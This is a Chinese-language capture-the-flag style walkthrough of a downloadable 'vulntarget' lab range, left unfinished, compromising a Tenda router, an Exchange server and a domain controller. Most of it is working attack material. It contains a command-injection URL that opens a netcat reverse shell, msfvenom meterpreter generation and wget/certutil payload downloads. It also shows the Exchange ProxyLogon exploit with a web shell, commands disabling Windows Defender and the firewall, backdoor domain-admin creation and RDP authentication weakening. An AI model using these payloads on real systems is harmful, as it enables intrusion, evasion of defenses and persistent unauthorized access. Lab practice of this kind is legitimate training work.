靶场地址环境
百度网盘
链接:https://pan.baidu.com/s/1sv9qdioNF4PTUliix5HEfg
提取码:2dwq
、
自己修改外网的ip地址--nat模式
修改ip地址为自动,修改dns地址为114.114.114.114,修改完成应用,重新
关闭后进行重启
修改tenda 端口转发的地址,修改为自己的出网的ip地址
sudo iptables -t nat -A PREROUTING -p tcp -d 192.168.126.140(自己的出网ip地址) --dport 60080 -j DNAT --to-destination 192.168.6.11:80
sudo iptables -t nat -A POSTROUTING -p tcp -s 192.168.6.11 --sport 80 -j SNAT --to-source 192.168.126.140(自己的出网ip地址)
sudo iptables-save
两个都出现web界面,就可以使用了
外网路由器
端口扫描
TOTOLINK
TOTOLINK 后续需要qmeu虚拟逃逸,但是只能拿到本身的权限,无法进行逃逸
Tenda
寻找版本号 V15.03.05.19_
漏洞搜索
Vulnerabilities (CVE)- OpenCVE
同样使用公众号中的命令执行漏洞
判断漏洞是否存在
http://192.168.138.130:60080/goform/setUsbUnload/?deviceName=;%20wget%20http://9tlb9ufl.dnslog.pw
反弹shell到服务器
http://192.168.138.130:60080/goform/setUsbUnload/?deviceName=;%20wget%20`nc -e /bin/bash 192.168.138.133 4560`
利用shell上传木马,
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.138.133 LPORT=3334 -f elf -o 3334.elf
木马生成后,利用python起一个http服务,将木马上传到受害主机
python3 -m http.server 81
wget http://192.168.138.133:81/3334.elf
msf设置监听
use exploits/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.138.133
set LPORT 3334
run
反弹shell
chmod 777 3334.elf
./3334.elf
外网路由器拿下
Exchange服务器
上传frp,建立代理
python3 -m http.server
wget http://192.168.138.133:8000/frpc
wget http://192.168.138.133:8000/frpc.ini
服务端+客户端配置
chmod 777 frps
frps -c frps.ini
chmod 777 frpc.ini
frpc -c frpc.ini
[common]
server_addr = 192.168.138.133
server_port = 7000
[socks5]
type = tcp
remote_port = 10000
plugin = socks5
[common]
bind_port = 7000
代理配置
出现下面界面,可以只恢复一下dc虚拟机镜像就可以
配置完成代理后,使用fsan进行扫描
配置代理规则
无法代理
fscan本身的代理
fsan64.exe-socks5 192.168.138.133:10000 -h 172.18.10.100/24
E:\02-poc\fscan>fscan64.exe -socks5 192.168.138.133:10000 -h 172.18.10.100/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
Socks5Proxy: socks5://192.168.138.133:10000
start infoscan
172.18.10.102:80 open
172.18.10.101:80 open
172.18.10.102:81 open
172.18.10.101:135 open
172.18.10.102:135 open
172.18.10.101:139 open
172.18.10.102:139 open
172.18.10.102:443 open
172.18.10.101:445 open
172.18.10.102:445 open
172.18.10.101:88 open
172.18.10.102:808 open
172.18.10.102:8172 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo:
[*]172.18.10.102
[->]exchange
[->]172.18.10.102
[*] NetInfo:
[*]172.18.10.101
[->]DC
[->]172.18.10.101
[*] WebTitle: http://172.18.10.101 code:200 len:703 title:IIS Windows Server
[*] 172.18.10.101 (Windows Server 2016 Standard 14393)
[*] WebTitle: http://172.18.10.102 code:403 len:0 title:None
[+] http://172.18.10.101 poc-yaml-active-directory-certsrv-detect
[*] WebTitle: https://172.18.10.102 code:302 len:0 title:None 跳转url: https://172.18.10.102/owa/
[*] WebTitle: http://172.18.10.102:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://172.18.10.102/owa/auth/logon.aspx?url=https%3a%2f%2f172.18.10.102%2fowa%2f&reason=0 code:200 len:28244 title:Outlook
[*] WebTitle: https://172.18.10.102:8172 code:404 len:0 title:None
已完成 13/13
[*] 扫描结束,耗时: 6m32.9820281s
发现一个outlook服务
https://172.18.10.102/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2f172.18.10.102%2fowa%2f
利用CVE-2021-26855的SSRF和CVE-2021-27065组合拿shell
CVE-2021-26855的SSRF
从返回的结果来看,大概率存在ssrf
GET /ecp/target.js HTTP/1.1
Host: 172.18.10.102
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=test_fariy/api/endpoint#~1; X-AnonResource=true
使用namp跑出域名
nmap -T3 -sV -n -sT -Pn -v -p 80,443 --script http-ntlm-info.nse --script-args http-ntlm-info.root=/ews/ 172.18.10.102
nmap -T3 -sV -n -sT -Pn -v -p 80,443 --script http-ntlm-info.nse --script-args http-ntlm-info.root=/oab/ 172.18.10.102
nmap -T3 -sV -n -sT -Pn -v -p 80,443 --script http-ntlm-info.nse --script-args http-ntlm-info.root=/autodiscover/ 172.18.10.102
这个组合漏洞利用需要邮箱密码,一般默认adiminisrator用户,同时域名已知也是利用前提
现在我们有域名和用户后,我们写入shell
https://github.com/herwonowr/exprolog.git
python exprolog.py -t 172.18.10.102 -e administrator@vulntarget.com
GET /owa/auth/tawhc.aspx HTTP/2
Host: 172.18.10.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())
权限拿下,system
DC服务器
查看进程
GET /owa/auth/tawhc.aspx HTTP/2
Host: 172.18.10.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
request=Response.Write(new ActiveXObject("WScript.Shell").exec("tasklist").stdout.readall())
发现安全设备,是windows defender 的
致盲window defender
关闭实时保护
GET /owa/auth/tawhc.aspx HTTP/2
Host: 172.18.10.102
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
request=Response.Write(new
ActiveXObject("WScript.Shell").exec("powershell Set-MpPreference -DisableRealtimeMonitoring $true").stdout.readall())
判断几个域
netdom query pdc //判断存在几个域
nltest /dclist:vulntarget.com
查看域内的组
net group /domain
重点关注三个,它属于exchange域
*Exchange Servers
*Exchange Trusted Subsystem
*Exchange Windows Permissions
这个EXCHANGE$就是当前exchang机器的机器用户,而有这个用户的权限是用户组的WriteDACL权限,WriteDACL权限可以修改域对象的ACL,允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。
应该是域内委派,这个地方不会,后面慢慢学
现在直接上线cs
在外网路由器建以端口转发,无安全设备
Release v14.1 · snail007/goproxy · GitHub
./proxy http -t tcp -p "0.0.0.0:1236" --daemon
在exchange服务器,下载木马程序进行反弹
关闭exchange的防火墙
netsh advfirewall set allprofiles state off
查看防火墙状态
netsh Firewall show state
在外网服务器上启动web服务
python3 -m http.server
反弹shell到cs
certutil -urlcache -split -f http://172.18.10.100:82/22.exe
22.exe
尝试上面的方法很长时间了,但是没有通过代理上线。我直接在exchange上添加一个网卡,直接进行反弹,后面再看看能不能通过goproxy代理,上线,模拟刚才我们获得system权限,我们进行提权
完成上线后,我们创建个域账户
shell net user fooxs 8B..123admin@ /add /domain
开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
创建域账户号后,需要关闭鉴权,才能连接
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
shell net localgroup Administrators fooxs /add
创建机器账户
机器账户默认具有dns权限
[*] 172.18.10.101 (Windows Server 2016 Standard 14393)
[+] http://172.18.10.101 poc-yaml-active-directory-certsrv-detect
我们继续判断一下,bolldyAD安装
# 判断用户能否创建机器账户
python main.py -d vulntarget.com -u foxs -p '8B..123admin@' --host 172.18.10.101 getObjectAttributes 'DC=vulntarget,DC=com' ms-DS-MachineAccountQuota
默认域中MAQ等于10,有权限创建对应的机器用户。
创建机器账户
proxychains python3 bloodyAD.py -d 'vulntarget.com' -u 'foxs' -p '8B..123admin' --host '172.18.10.101' addComputer foxs1 'foxs1' //创建用户
proxychains python3 bloodyAD.py -d 'vulntarget.com' -u 'foxs' -p '8B..123admin' --host '172.18.10.101' setAttribute 'CN=foxs1,CN=Computers,DC=vulntarget,DC=com' DNSHOSTName '["DC.vulntarget.com"]' //更新用户的DNS
没有具体学过域的打法,部分脚本出现报错。到此为止,后面再打